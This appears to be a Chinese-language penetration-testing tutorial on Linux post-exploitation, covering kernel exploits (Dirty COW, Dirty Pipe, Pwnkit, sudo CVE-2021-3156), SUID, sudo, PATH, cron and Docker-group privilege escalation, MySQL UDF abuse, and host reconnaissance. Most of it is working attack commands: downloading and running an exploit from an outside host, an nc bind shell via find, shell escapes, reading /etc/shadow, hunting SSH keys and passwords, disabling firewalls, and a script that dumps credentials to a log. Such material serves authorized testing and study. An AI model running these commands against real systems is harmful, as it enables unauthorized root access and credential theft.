Linux内网渗透

Linux虽然没有域环境,但是当我们拿到一台Linux 系统权限,难道只进行一下提权,捕获一下敏感信息就结束了吗?显然不只是这样的。本片文章将从拿到一个Linux shell开始,介绍Linux内网渗透技术,分为容器逃逸、Linux提权、Linux信息收集、Linux隧道技术、Linux横向移动、Linux权限维持、Linux痕迹清理几个部分。

容器逃逸

容器逃逸的应用主要是,拿到shell之后,发现是docker环境,要进一步渗透,就必须逃逸到宿主机。

容器逃逸方法见:
https://www.cnblogs.com/yokan/p/16049516.html

Linux提权

Linux提权大概可以分为下面几种:

系统内核提权;第三方服务提权;数据库提权;密码收集提权;键盘记录提权;Suid提权;Sudo提权;反弹shell提权。

提权辅助工具

GTFOBins

https://gtfobins.github.io/

GTFOBins是一个精心策划的Unix二进制文件列表,可以用来绕过错误配置系统中的本地安全限制。该项目收集了Unix二进制文件的合法函数,这些函数可能被滥用,以打破受限制的shell,升级或维护提升的特权,传输文件,生成绑定和反向shell,并为其他事后利用任务提供便利。需要注意的是,这不是一个漏洞列表,这里列出的程序本身并不容易受到攻击,相反,GTFOBins是一个概要,说明当您只有某些二进制文件可用时,如何获得root权限

BeRoot

https://github.com/AlessandroZ/BeRoot/tree/master/Linux

BeRoot用于检查Linux和Mac OS上常见的错误配置,以找到一种方法来升级我们的特权。检查项包括GTFOBins中的二进制文件、通配符错误、suid、环境变量、NFS、sudo等等,详细可以去上面链接看。

image-20220127175936922

image-20220127175950928

pspy

https://github.com/DominicBreuker/pspy

Pspy是一个命令行工具,用于在不需要root权限的情况下窥探进程。它允许您在其他用户运行的命令、cron任务等执行时查看它们。该工具通关循环遍历/proc下的值来获取进程参数信息。

traior

https://github.com/liamg/traitor

多个linux提权漏洞缝合怪。

Traitor 打包了一堆方法来利用本地错误配置和漏洞来自动提权:

  • 几乎所有的GTFOBins
  • 可写 docker.sock
  • CVE-2022-0847(脏管)
  • CVE-2021-4034 (pwnkit)
  • CVE-2021-3560

image-20220428110652285

0x00 基础信息收集

在说提权之前先介绍一下基本的信息收集命令,为后续的提权做准备。

1、内核,操作系统和设备信息

uname -a  打印所有可用的系统信息
uname -r  内核版本
uname -n  系统主机名。
uname -m  查看系统内核架构(64位/32位)
hostname  系统主机名
lsb_release -a   发行版信息
cat /proc/version  内核信息
cat /etc/*-release  发行版信息
cat /etc/issue    发行版信息
cat /proc/cpuinfo  CPU信息

image-20220119173222186

image-20220119173308486

2、用户和群组

cat /etc/passwd     列出系统上的所有用户
cat /etc/group      列出系统上的所有组
groups              当前用户所在的组
groups test         test用户所在的组
getent group xxx      xxx组里的用户
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'      列出所有的超级用户账户
whoami              查看当前用户
w                   谁目前已登录,他们正在做什么
last                最后登录用户的列表
lastlog             所有用户上次登录的信息
lastlog –u %username%  有关指定用户上次登录的信息

image-20220119175943129

image-20220119180007785

image-20220119174456912

3、用户和权限信息

whoami        当前用户名
id            当前用户信息
cat /etc/sudoers  谁被允许以root身份执行
sudo -l       当前用户可以以root身份执行操作

image-20220119180537906

yokan用户可以以root身份执行任意操作

4、环境信息

env        显示环境变量
echo %PATH 路径信息
history    显示当前用户的历史命令记录
pwd        输出工作目录
cat /etc/profile   显示默认系统变量
cat /etc/shells    显示可用的shell

image-20220119181617068

0x01 内核漏洞提权

提示:内核漏洞提权有风险,有可能会崩溃系统。

内核漏洞是我们几乎最先想到的提权方法。通杀的内核漏洞是十分少见的,因而我们应该先对系统相关的信息进行收集,收集方法参考第一小节基础信息收集即可。

大多内核漏洞通过内核版本能很快查到

SearchSploit

用kali自带的searchsploit来搜索exploitdb中的漏洞利用代码

SearchSploit是一个Exploit-DB的命令行搜索工具,它还允许随身携带漏洞利用数据库的副本。

介绍:https://xz.aliyun.com/t/2860

SearchSploit使用:

更新SearchSploit:

 apt update && apt -y full-upgrade
 searchsploit -u

基本搜索语法:

只需添加您想要查找的任意数量的搜索词:

searchsploit linux 2.6 ubuntu priv esc

Tip:如果你没有收到预期的结果,可以使用更通用的术语进行更广泛的搜索。如:Kernel 2.6.25 - >Kernel 2.6 / / Kernel 2.x。
Tip:不要使用缩写如:SQLi -> SQL Injection。

image-20220124153231621

显示漏洞利用的完整路径:

-p, --path [EDB-ID]     显示漏洞利用的完整路径(如果可能,还将路径复制到剪贴板),后面跟漏洞ID号

image-20220124153317909

不建议在本地的漏洞数据库中修改exp,建议使用-m参数复制那些有用的到当前的工作目录:

-m, --mirror [EDB-ID]   把一个exp拷贝到当前工作目录,参数后加目标id

image-20220124153555414

exp利用:

将exp上传到目标技巧,编译运行(编译方法,在源码的注释里有)

gcc 9545.c -o exp
chmod 777 exp
./exp

当然,以上只是非常理想的情况,我们经常会遇到没有gcc的坑爹服务器。这时我们就需要在本地编译。本地编译时不止要看exp源码注释的编译参数,也需要手动调整一下编译的参数,比如给gcc 加-m 32来编译32位。编译问题繁多,有困难找谷歌。

最后强调利用内核漏洞的几个注意点

1.读源码注释,有exp基本信息和编译方法,不然可能连编译都不会
2.读源码,不然费劲编译完才发现不适用
3.读源码,不然遇到一个删全盘的”exp“怎么办

脏牛漏洞(CVE-2016-5195)

漏洞原理:该漏洞具体为,get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。修改su或者passwd程序就可以达到root的目的。
漏洞编号:CVE-2016-5195
漏洞名称:脏牛(Dirty COW)
漏洞危害:低权限用户利用该漏洞技术可以在全版本上实现本地提权
影响范围:3.9>Linux kernel >=2.6.22 并且Android也受影响

利用脚本合集:PoCs · dirtycow/dirtycow.github.io Wiki

漏洞复现:

先查看一下系统版本信息

Image

linux kernel版本2.6.32,应该可以用脏牛提权。下载脏牛提权脚本

这里使用dirty.c这个exp:

这个exp利用了dirtycow漏洞的pokemon漏洞 。会自动生成一个新的passwd行。 运行二进制文件时,会提示用户输入新密码。 原/etc/passwd文件会备份到/tmp/passwd.bak下 ,用生成的行覆盖根帐户。运行该漏洞后,你应该能够登录新创建的用户。 使用此漏洞可以根据您的需要修改用户值。 默认为“firefart”用户。

上传到目标系统tmp目录下

Image

在/tmp目录下直接起一个命令行,然后编译运行脚本

image-20220124161558986

此时切换到firefart用户,密码为123456

Image

执行id命令后可以看到已经为root用户了,成功提权。

Dirty Pipe(CVE-2022-0847)

利用条件

5.8<=Linux kernel<5.16.11/5.15.25/5.10.102

image-20220308105905701

EXP:

https://haxx.in/files/dirtypipez.c 
#原理为 直接修改一个具有suid权限的可执行文件,然后执行这个可执行文件提权,完成提权后再把文件改回来

or

https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit
#原理为  覆盖 /etc/passwd 中的 root 密码字段并在弹出 root shell 后恢复

利用:

wget https://haxx.in/files/dirtypipez.c
gcc -o dirtypipez dirtypipez.c
./dirtypipez /usr/bin/su  #任何具体suid权限的文件均可

image-20220308111821303

0x02 SUID 提权

什么是suid?suid全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性——s标志。通俗的理解为其他用户执行这个程序的时候可以用该程序所有者/组的权限。需要注意的是,只有程序的所有者是0号或其他super user,同时拥有suid权限,才可以提权

推荐阅读P神的这篇文章:https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html

image-20220124165311590

常见的可用来提权的Linux 可执行文件有:

Nmap, Vim, find, bash, more, less, nano, cp

查看可以suid 提权的可执行文件:

find / -perm -u=s -type f 2>/dev/null
或者
find / -user root -perm -4000 -print 2>/dev/null

image-20220124175348783

下面列举几个常见的设置了SUID的应用程序提权手段:

  • find
ls -al /usr/bin/find
-rwsr-xr-x 1 root root 162424 Jan  6  2012 /usr/bin/find

实用程序find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。

比如:DC -1 靶机就是利用find 命令进行root 用户来执行命令

image-20220124175813014

大部分Linux 系统都安装了nc。使用如下命令即可成功得到root shell:

find / -type f -exec /bin/bash \;
或
find / -exec nc -lvp 5555 -e /bin/sh \;
nc ip port

测试:

chomod u+s /usr/bin/find   #chmod u+s  给某个程序的所有者suid权限。

image-20220125134958057

  • nmap

较旧版本的Nmap(2.02≤nmap<5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。)

可以使用下命令进入namp交互模式

nmap --interactive

执行命令后会返回一个shell

nmap> !sh
sh-3.2# whoami
root

image-20220124220559588

5.2.0 之后,nmap 还可以通过执行脚本来提权:

在某些发行版的Linux 可能会提权失败。具体原理移步p 师傅文章

# nse脚本 shell.nse
os.execute('/bin/sh')
# nmap 提权
nmap --script=shell.nse 

或者

echo 'os.execute("/bin/sh")' > getshell
sudo nmap --script=getshell
  • vim

如果vim 是通过SUID运行,就会继承root用户的权限。可读取只有root能读取的文件。

vim /etc/shadow

vim 运行shell

vim
:set shell=/bin/sh
:shell

同理,满足条件的 lessmore 都可。

  • awk
awk 'BEGIN {system("/bin/bash")}'
  • strace
strace -o/dev/null /bin/bash

0x03 利用环境变量提权

利用关键在于找到具有SUID权限的文件,环境变量中有自己能控制的路径,比如当前目录(.)

详细文章参考:https://xz.aliyun.com/t/2767

PATH 是Linux 和 Unix 操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目,以便于系统管理命令的执行。

使用echo命令显示当前PATH环境变量:

image-20220125155641506

测试:

环境配置:

现在我们的当前目录是/home/yokan,我们将在当前目录下创建一个srcipt目录。然后cd到script目录中,编写一个简单的c程序来调用系统二进制文件的函数。

pwd
mkdir script
cd /script
nano demo.c

demo.c文件内容如下图,你可以看到,我们调用了ps命令,即系统二进制文件:

image-20220125160520291

然后使用gcc命令编译demo.c文件并且赋予编译文件SUID权限,命令如下:

gcc demo.c -o shell    #需要以root权限编译
chmod u+s shell
ls -la shell

image-20220125162407306

攻击利用

首先,你需要先入侵靶机系统并且进入到提权阶段。假设你已经通过ssh成功登录到了靶机上,二话不说,我们直接使用find命令来搜索具有SUID或4000权限的文件。

find / -perm -u=s -type f 2>/dev/null

通过执行上述命令,攻击者可以遍历任何可执行文件,在这里我们可以看到/home/yokan/script目录下的shell文件具有SUID权限,如图:

image-20220125163256535

于是我们cd到/home/yokan/script/目录下,ls一下,看到了名为shell的可执行文件。我们运行一下这个文件,可以看到shell文件尝试执行ps命令,这个命令是/bin目录下的用来查看进程状态的真实文件。

ls
./shell

image-20220125163649303

提权:

echo命令

cd /tmp
echo “/bin/bash” > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/yokan/script
./shell
whoami

image-20220125170019652

其他更多的方法参考上面的文章。

0x04 利用第三方服务提权

当一些第三方服务,以root身份运行, 我们通过它拿到的shell就是root权限。

netstat -antup该命令可以显示所有打开并正在监听的端口,我们可以通过此命令检查是否有可以利用的本地服务

ps -aux | grep root 该命令可以显示以root用户身份运行的服务

Docker 组提权

docker 组内用户执行命令的时候会自动在所有命令前添加 sudo。因为设计或者其他的原因,Docker 给予所有 docker 组的用户相当大的权力(虽然权力只体现在能访问 /var/run/docker.sock 上面)。默认情况下,Docker 软件包是会默认添加一个 docker 用户组的。Docker 守护进程会允许 root 用户和 docker
组用户访问 Docker。给用户提供 Docker 权限和给用户无需认证便可以随便获取的 root 权限差别不大。

docker组内用户执行如下命令,即可获得root权限

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

#参数 -v 将容器外部的目录 / 挂载到容器内部 /hostOS
这个容器的启动脚本是 exploit.sh,主要内容是:chroot 到容器的 /hostOS (也就是宿主机的 /),然后获取到宿主机的 root 权限。

测试:

创建了个用户dockertest加入了docker组,然后执行如下命令,获得root权限

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

image-20220127103442647

MySQL UDF 提权

先查看 secure_file_priv 的值是否为空,因为只有为空我们才能继续下面的提权步骤

image-20220127143444967

image-20220127143452505

提权步骤:

  1. 获取udf代码
sqlmap中有现成的udf文件,分为32位和64位,一定要选择对版本,否则会显示:Can‘t open shared library ‘udf.dll‘。

sqlmap\udf\mysql\windows\32目录下存放着lib_mysqludf_sys.dll_
sqlmap\udf\mysql\windows\64目录下为64位的lib_mysqludf_sys.dll_

但是sqlmap 中 自带 的shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用的。
可以利用sqlmap 自带的解码工具cloak.py,进入到 sqlmap\extra\cloak\cloak 目录下,执行命令:
cloak.py -d -i D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_

sqlmap中的udf文件提供的函数:
sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。
  1. 将udf文件上传到指定位置
MySQL<5.0,导出路径随意;
5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:c:/windows/system32/)
MySQL 5.1以上版本,必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。

select @@basedir;  #查看mysql安装目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS创建plugin目录
select 0xUDFcode into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin\\udf.dll';  #导出udfcode,注意修改udfcode
  1. 从udf文件中引入自定义函数
create function sys_eval returns string soname 'udf.dll';    
//sys_eval是函数名称(可选shell,sys_exec,sys_eval),udf.dll是lib_mysqludf_sys.dll_上传后的文件名
  1. 执行命令
select * from mysql.func where name = 'sys_eval';    #查看创建的sys_eval函数
select sys_eval('whoami');                           #使用系统命令
  1. 痕迹清除
drop function sys_eval; #删除函数
delete from mysql.func where name='sys_eval' #删除函数

redis提权

如果Redis以root身份运行,黑客可以利用Redis写入SSH公钥文件,直接通过SSH免密码登录受害服务器。Redis 默认绑定在6379端口,并且没有开启认证,在没有任何访问策略的情况下,任何人可以直接在非授权情况下直接访问Redis服务并进行相关操作。

详细参考《Redis基础与简单利用.docx》

0x05 Sudo提权

一旦攻击者有权访问任何SUDO用户,那么他基本上就可以使用root权限执行任何命令。管理员可能只允许用户通过SUDO运行一些命令,但绝对不是所有命令,即使是使用这样的配置,他们也可能会在不知情的情况下引入漏洞,从而导致权限提升的风险。

无密码:

sudo -l打印允许作为SUDO运行的命令

image-20220127154912080

假如我们被允许以sudo运行find、cat、vi、more、less、nmap、perl、ruby、gdb、python等任何编程语言编译器、解释器和编辑器,那么我们就可以通过这些命令,获得root权限。

实际环境中不一定会这么明显显示可用命令,某些配置也是可以使用这几个命令的,如果对sudo机制不熟悉,可以直接使用sudo+命令 测试是否可用。

例如 vi命令:

进入底线命令模式,输入:!/bin/bash,即可打开一个用户为root的shell

sudo vi test.txt
:!/bin/bash

image-20220127155403490

有密码:

如果知道sudo组用户的密码,可以直接sudo -i提权。

sudo -i: 为了频繁的执行某些只有超级用户才能执行的权限,而不用每次输入密码,可以使用该命令。提示输入密码时该密码为当前账户的密码。没有时间限制。执行该命令后提示符变为“#”而不是“$”。想退回普通账户时可以执行“exit”或“logout” 。

image-20220127153143584

补充:

直接在低权shell里面用sudo是不奏效的,这是因为出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,sudo在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符。因此为了能够输入密码,我们必须模拟一个终端设备。

python就有这样的功能。在shell里面输入:

python -c 'import pty;pty.spawn("/bin/sh")'

就用python建立了一个虚拟终端,然后就可以使用sudo等等命令了。

Linux sudo权限提升漏洞(CVE-2021-3156)

非常好用

概述

当sudo通过 -s 或 -i 命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用 -s 或 -i 标志运行 sudoedit 时,实际上并未进行转义,从而可能导致缓冲区溢出。因此只要存在sudoers文件(通常是 /etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。

影响版本

sudo 1.8.2 - 1.8.31p2

sudo 1.9.0 - 1.9.5p1

查看sudo版本

命令:sudo --version

image-20220329113939864

POC

https://github.com/worawit/CVE-2021-3156

复现

sudo --version

image-20220329113939864

python exploit_defaults_mailer.py

/tmp/sshell

image-20220329115426761

image-20220329115317201

0x06 文件权限配置不当

当某个进程启动权限为ROOT,对应文件编辑权限为普通用户时,我们可以利用该问题点进行提权。

pspy(https://github.com/DominicBreuker/pspy)工具提供了普通用户权限即可监听进程信息

测试环境:

首先我们创建一个while循环,并使用ROOT用户循环执行/tmp/1.sh。

利用:

我们获取普通用户权限时,利用pspy可以监控到ROOT用户在持续执行/tmp/1.sh:

image-20220127160538651

尝试查看/tmp/1.sh文件内容和权限,发现我们当前用户具备读写权限:

image-20220127160552669

我们尝试替换文件内容,查看是否会以ROOT权限启动其中命令:

image-20220127160604367

发现成功提权,以ROOT权限启动自定义命令:

image-20220127160614745

0x07 计划任务配置不当

Cron任务常常以root权限运行。如果我们可以成功篡改Cron任务中定义的任何脚本或二进制文件,我们便可以使用root权限执行任意代码。

查看计划任务的方法:

crontab -l
ls -alh /var/spool/cron
cat /etc/cron*

举例:

ls -la /etc/cron.d 打印cron.d中已经存在的Cron任务。

image-20220127163630598

find / -perm -2 -type f 2>/dev/null 打印全局可写入文件

image-20220127163838336

cron-logrotate.sh是全局可写入的,它由cronjob运行。我们在cron-logrotate.sh中写入/添加的任何命令都会以root身份执行

我们在/tmp目录下编写一个C文件,并对其进行编译:

image-20220127164522954

image-20220127164539664

rootme可执行文件会产生一个Shell。ls -la rootme 说明该文件由用户SHayslett拥有。

然后执行下面命令,将可执行文件的所有者和分组修改为root,同时也会设置SUID位:

echo "chown root:root /tmp/rootme; chmod u+s /tmp/rootme;">/usr/local/sbin/cron-logrotate.sh

待logrotate Cron任务以root权限运行后,

运行./rootme产生一个root Shell

image-20220127164912989

Linux Polkit权限提升漏洞(CVE-2021-4034)

漏洞描述:该漏洞是由于pkexec无法正确处理调用参数,从而将环境变量作为命令执行,具有任意用户权限的攻击者都可以在默认配置下通过修改环境变量来利用此漏洞,从而获得受影响主机的root权限。

受影响linux

2009年5月至 2022 年1月26日发布的所有 Polkit 版本
Polkit预装在CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等多个Linux发行版上,所有存在该版本范围Polkit的Linux系统均受影响。

受影响国产化操作系统:
银河麒麟高级服务器操作系统 V10
银河麒麟高级服务器操作系统 V10 SP1
银河麒麟高级服务器操作系统 V10 SP2
统信 UOS 服务器操作系统 V20
银河麒麟桌面版操作系统 V10
银河麒麟桌面版操作系统 V10 SP1
统信 UOS 桌面版操作系统 V20
中标麒麟桌面版操作系统 V7.0

版本检测:

Linux系统用户可以通过查看Polkit版本来判断当前系统是否在受影响范围内,主流Linux发行版命令如下:

CentOS、RedHat 系列:

rpm -qa polkit

Debian、Ubuntu 系列:

dpkg -l policykit-1

不受影响版本

CentOS:

CentOS 6:polkit-0.96-11.el6_10.2
CentOS 7:polkit-0.112-26.el7_9.1
CentOS 8.0:polkit-0.115-13.el8_5.1
CentOS 8.2:polkit-0.115-11.el8_2.2
CentOS 8.4:polkit-0.115-11.el8_4.2

Ubuntu:

Ubuntu 14.04 ESM:policykit-1-0.105-4ubuntu3.14.04.6+esm1
Ubuntu 16.04 ESM:policykit-1-0.105-14.1ubuntu0.5+esm1
Ubuntu 18.04 LTS:policykit-1-0.105-20ubuntu0.18.04.6
Ubuntu 20.04 LTS:policykit-1-0.105-26ubuntu1.2
Ubuntu 21.10:policykit-1-0.105-31ubuntu0.1

Debain:

Debain stretch:policykit-1 0.105-18+deb9u2
Debain buster:policykit-1 0.105-25+deb10u1
Debain bullseye:policykit-1 0.105-31+deb11u1
Debain bookworm,bullseye:policykit-1 0.105-31.1

漏洞复现:

CentOS环境

image-20220126233642250

image-20220126233726820

利用:

image-20220127000405594

exp网上很多。也很稳定。也算是个”神洞“了。

Linux信息收集

本机基本信息

#管理员
$普通用户
@之前表示登录的用户名称,之后表示主机名,再之后表示当前所在目录
/ 表示根目录  
~表示当前用户家目录

1、内核,操作系统和设备信息

uname -a  打印所有可用的系统信息
uname -r  内核版本
uname -n  系统主机名。
uname -m  查看系统内核架构(64位/32位)
hostname  系统主机名
lsb_release -a   发行版信息
cat /proc/version  内核信息
cat /etc/*-release  发行版信息
cat /etc/issue    发行版信息
cat /proc/cpuinfo  CPU信息

image-20220119173222186

image-20220119173308486

2、用户和群组

cat /etc/passwd     列出系统上的所有用户
cat /etc/shadow     查看用户Hash
cat /etc/group      列出系统上的所有组
groups              当前用户所在的组
groups test         test用户所在的组
getent group xxx      xxx组里的用户

grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'      列出所有的超级用户账户
awk -F: 'length($2)==0 {print $1}' /etc/shadow  #查看是否存在空口令用户
awk '/\$1|\$6/{print $1}' /etc/shadow #查看远程登录的账号 

whoami              查看当前用户
w                   谁目前已登录,他们正在做什么
who                 命令用于显示系统中有哪些使用者正在上面
last                最后登录用户的列表
lastlog             所有用户上次登录的信息
lastlog –u %username%  有关指定用户上次登录的信息

image-20220119175943129

image-20220119180007785

image-20220119174456912

3、用户和权限信息

whoami        当前用户名
id            当前用户信息
cat /etc/sudoers  可以使用sudo提升到root的用户
sudo -l       当前用户可以以root身份执行操作

image-20220119180537906

image-20220128144449999

yokan用户可以以root身份执行任意操作

4、环境信息

env        显示所有的环境变量
set        显示本地环境变量
echo $PATH 环境变量中的路径信息
export [-fnp][变量名称]=[变量设置值]     显示和设置环境变量   
pwd        输出工作目录
cat /etc/profile   显示默认系统变量
cat /etc/shells    显示可用的shell
ls -la /etc/*.conf  查看etc下所有配置文件

image-20220119181617068

5、历史命令

显示当前用户的历史命令记录

history    
cat ~/.bash_history  

# 查看其他用户的历史命令文件
cat /home/user/.bash_history

history显示内存和~/.bash_history中的所有内容
内存中的内容并没有立刻写入~/.bash_history,只有当当前shell关闭时才会将内存内容写入shell

6、进程信息

ps aux   以用户的格式显示所有进程,包括非终端的进程
ps -ef   显示所有进程,显示UID,PPIP(父进程),C与STIME栏位
ps -ef | grep java   查询某个应用的所有进程信息
top      实时显示占用最多的进程

image-20220128151110438

如果想查看进程的CPU占用率和内存占用率,可以使用aux

如果想查看进程的父进程ID和完整的COMMAND命令,可以使用-ef

lsof -c $PID           查看进程关联文件
/proc/$PID/cmdline     完整命令行信息 
/proc/$PID/comm        进程的命令名 
/proc/$PID/cwd         进程当前工作目录的符号链接 
/proc/$PID/exe         运行程序的符号链接 
/proc/$PID/environ     进程的环境变量 
/proc/$PID/fd          进程打开文件的情况 

7、服务信息

cat /etc/services      查询存在的服务
cat /etc/services | grep Java     查询对应的服务
systemctl list-units --type=service --state=running   查询已经开启的服务

image-20220128154119951

8、计划任务

在Linux系统中,计划任务一般是由cron承担。cron启动后,它会读取它的所有配置文件(全局性配置文件/etc/crontab,以及每个用户的计划任务配置文件),然后cron会根据命令和执行时间来按时来调用工作任务。

/var/spool/cron/crontabs :这个目录以账号来区分每个用户自己的执行计划
/etc/crontab :系统执行计划,需要在后边加上用户格式
所有计划任务项:
/var/spool/cron/*
/var/spool/anacron/*
/etc/crontab
/etc/anacrontab
/etc/cron.*
/etc/anacrontab
crontab -l    查询当前用户所有的计划任务
crontab -l -u user   查询指定用户的计划任务
cat /var/spool/cron/crontabs/root   查询root用户的计划任务

9、网络、路由和通信

查询ip

ifconfig
ip addr

打印路由信息

route         查询路由表
route -n      查询路由表,以ip地址显示
netstat -r    查询路由表
ip ro

查看系统arp表

arp -a

端口开放情况

netstat -antup     所有端口
netstat -antp      tcp端口
netstat -anup      udp端口

查看端口服务映射

cat /etc/services

列出iptables的配置规则

iptables -L

显示网卡信息

netstat -i

dns信息

cat /etc/resolv.conf      查看dns配置信息
dnsdomainname -V          打印DNS系统中FQDN名称中的域名
cat /etc/hosts            查看hosts域名解析文件

10、已安装应用

rpm -qa --last     #Redhat、CentOS
rpm -qa polkit     #查看指定应用的安装版本

dpkg -l            #ubuntu、debian
dpkg -l policykit-1   #查看指定应用的安装版本
dpkg -L xxx        #查询某个软件所关联的文件

11、查找能写或执行的目录

find / -writable -type d 2>/dev/null
find / -perm -o+w -type d 2>/dev/null
find / -perm -o+x -type d 2>/dev/null

12、防火墙

iptables -L   查看防火墙配置

查看防火墙状态:
systemctl status firewalld
service iptables status
暂时关闭防火墙:
systemctl stop firewalld
service iptables stop
永久关闭防火墙:
systemctl disable firewalld
chkconfig iptables off
重启防火墙:
systemctl enable firewalld
service iptables restart

13、敏感文件

find命令 -o参数 表示 或者 的意思

find / -type f -iname "*.bash_history" -o -iname "*config*" -o -iname "web.xml" -o -iname "*database*" -o -iname "*pass*" 2>/dev/null

查找SSH密钥:

find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" 2>/dev/null |xargs -r ls

Web应用服务

常见配置文件路径:

/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/apache/php/php.ini
/bin/php.ini
/etc/apache/apache.conf
/etc/apache/httpd.conf
/etc/apache2/apache.conf
/etc/apache2/httpd.conf
/etc/apache2/sites-available/default
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/php.ini
/etc/init.d/httpd
/etc/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/etc/php/cgi/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php4/cgi/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php5/cgi/php.ini
/etc/phpmyadmin/config.inc.php
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/home/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/NetServer/bin/stable/apache/php.ini
/opt/www/conf/httpd.conf
/opt/xampp/etc/php.ini
/PHP/php.ini
/php/php.ini
/php4/php.ini
/php5/php.ini
/usr/lib/php.ini
/etc/nginx/nginx.conf
/usr/lib/php/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache/conf/php.ini
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
/usr/local/etc/php.ini
/usr/local/httpd/conf/httpd.conf
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/php5.ini
/usr/local/share/examples/php/php.ini
/usr/local/share/examples/php4/php.ini
/usr/local/Zend/etc/php.ini
/var/apache2/config.inc
/var/httpd/conf/httpd.conf
/var/httpd/conf/php.ini
/var/httpd/conf/php.ini
/var/local/www/conf/httpd.conf
/var/local/www/conf/php.ini
/var/www/conf/httpd.conf
/web/conf/php.ini
/www/conf/httpd.conf
/www/php/php.ini
/www/php4/php.ini
/www/php5/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf

数据库

/etc/init.d/mysql
/etc/my.cnf
/etc/mysql/my.cnf
/etc/mysql/my.cnf
/var/lib/mysql/my.cnf
/var/lib/mysql/mysql/user.MYD
/usr/local/mysql/bin/mysql
/usr/local/mysql/my.cnf
/usr/share/mysql/my.cnf

自动化脚本

linux_info.sh

#!/bin/bash

#输出文件
filename=$(date +%s)'.log'

echo "信息收集"
echo -e "\n" | tee -a $filename
echo "账户信息收集" | tee -a $filename
cat /etc/passwd | tee -a $filename
echo -e "\n" | tee -a $filename
echo "shadow" | tee -a $filename
cat /etc/shadow | tee -a $filename
echo -e "\n" | tee -a $filename
echo "进程信息收集" | tee -a $filename
ps aux | tee -a $filename
echo -e "\n" | tee -a $filename
echo "网络连接" | tee -a $filename
netstat -antlp | tee -a $filename
echo -e "\n" | tee -a $filename
echo "当前用户:" $(whoami) 2>/dev/null | tee -a $filename
echo -e "\n" | tee -a $filename
echo "端口监听" | tee -a $filename
netstat -lnpt | tee -a $filename
echo -e "\n" | tee -a $filename
echo "可登陆用户" | tee -a $filename
cat /etc/passwd | grep -E -v 'nologin$|false' | tee -a $filename
echo -e "\n" | tee -a $filename
echo "增加用户的日志" | tee -a $filename
grep "useradd" /var/log/secure  | tee -a $filename
echo -e "\n" | tee -a $filename
echo "History操作提取" | tee -a $filename
cat ~/.*history | tee -a $filename
echo -e "\n" | tee -a $filename
echo "登录成功的IP" | tee -a $filename
grep "Accepted " /var/log/secure* | awk '{print $11}' | sort | uniq -c | sort -nr | more | tee -a $filename   
echo -e "\n" | tee -a $filename
echo "查看路由表" | tee -a $filename
route -n | tee -a $filename
echo -e "\n" | tee -a $filename
echo "查看 SSH key" | tee -a $filename
sshkey=${HOME}/.ssh/authorized_keys
if [ -e "${sshkey}" ]; then
    cat ${sshkey} | tee -a $filename
else
    echo -e "SSH key文件不存在\n" | tee -a $filename
fi
echo -e "\n" | tee -a $filename
echo "查看 known_hosts" | tee -a $filename
cat ~/.ssh/known_hosts | tee -a $filename
echo -e "\n" | tee -a $filename
echo "查找WEB-INF" | tee -a $filename
find / -name *.properties 2>/dev/null | grep WEB-INF | tee -a $filename
echo -e "\n" | tee -a $filename
echo "user|pass|pwd|uname|login|db_" | tee -a $filename
